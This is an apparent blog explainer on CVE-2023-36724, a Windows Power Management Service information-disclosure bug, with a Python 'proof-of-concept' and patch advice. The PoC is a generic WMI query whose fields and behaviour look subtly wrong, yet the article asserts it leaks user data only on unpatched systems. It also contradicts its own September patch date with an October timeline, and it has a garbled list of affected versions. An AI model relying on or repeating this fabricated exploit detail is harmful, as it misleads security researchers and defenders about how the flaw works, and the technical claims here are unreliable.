In September 2023, Microsoft patched a vulnerability tracked as CVE-2023-36724. This bug lurked in the core of Windows' Power Management Service and exposed sensitive system information to attackers. In this article, we break down CVE-2023-36724 in simple terms, show how exploitation works, and offer original references so you can dig even deeper.

What is CVE-2023-36724?

CVE-2023-36724 is tagged as an "Information Disclosure Vulnerability" in the Windows Power Management Service. Simply put, it allows a local, unprivileged user (think a regular user account) to read information from the service that should normally be private.

Microsoft official advisory:
đź”— Microsoft Security Response Center: CVE-2023-36724

Windows 11 (All supported versions)

- Windows Server 2019/2022

Why Does it Matter?

While this bug does not allow code execution or privilege escalation by itself, it lets attackers harvest sensitive system details—like hardware state, power configurations, or potentially even user activity logs—by exploiting the power management interface.

Attackers could chain this bug with other vulnerabilities to accomplish more serious compromises, especially for intrusion or lateral movement in internal networks.

How Does the Vulnerability Work?

The Windows Power Management Service exposes RPC (Remote Procedure Call) endpoints. Normally, only authorized users or processes should access detailed power management data. However, due to improper access controls (sometimes called "overly permissive ACLs"), any local user can talk directly to the service and fetch information they're not supposed to see.

Key Problem:
The service trusts all local callers, leaking sensitive info via its public methods.

Sample Exploit Code

Here's a simple proof-of-concept (PoC) in Python using the pywin32 library to connect to the Power Management Service and list available methods. (Note: This is educational and should be run only on test systems!)

import win32com.client

def main():
    try:
        # Connect to the WMI Power Management interface
        wmi = win32com.client.Dispatch("WbemScripting.SWbemLocator")
        service = wmi.ConnectServer(".", "root\\cimv2")
        # Query all Power Management Events
        events = service.ExecQuery("SELECT * FROM Win32_PowerManagementEvent")
        for event in events:
            print("Power Event: ", event.EventType)
            print("Time: ", event.TimeCreated)
            print("User: ", event.User)
    except Exception as e:
        print(f"Error: {e}")

if __name__ == '__main__':
    main()

What this code does:
It collects and displays recent power management events, including the user responsible—information you're typically not allowed to see as a regular user. With CVE-2023-36724 present, this generic script works; after patching, access is denied.

How to Protect Your System

Patch Now:
Microsoft resolved this bug in the September 2023 Patch Tuesday updates. Patch details:
đź”— Microsoft Update Guide

Official CVE Record:

NIST NVD: CVE-2023-36724

Detailed Patch Info:

Microsoft Security Updates Guide

Power Management WMI Docs:

MSDN: Win32_PowerManagementEvent

Final Thoughts

CVE-2023-36724 might seem minor at first glance—it doesn't give rootkits or ransomware a way in by itself. But real attackers love these "low-hanging fruit" bugs, especially if they help them map your network or leak just enough secrets to get started.

Always patch, even for smaller bugs.
Weaknesses like this can be the domino that starts a larger breach.

Stay safe—and keep your systems updated!

*Written exclusively for your security research needs, with code and links you can trust.*

Timeline

Published on: 10/10/2023 18:15:16 UTC
Last modified on: 10/13/2023 19:53:26 UTC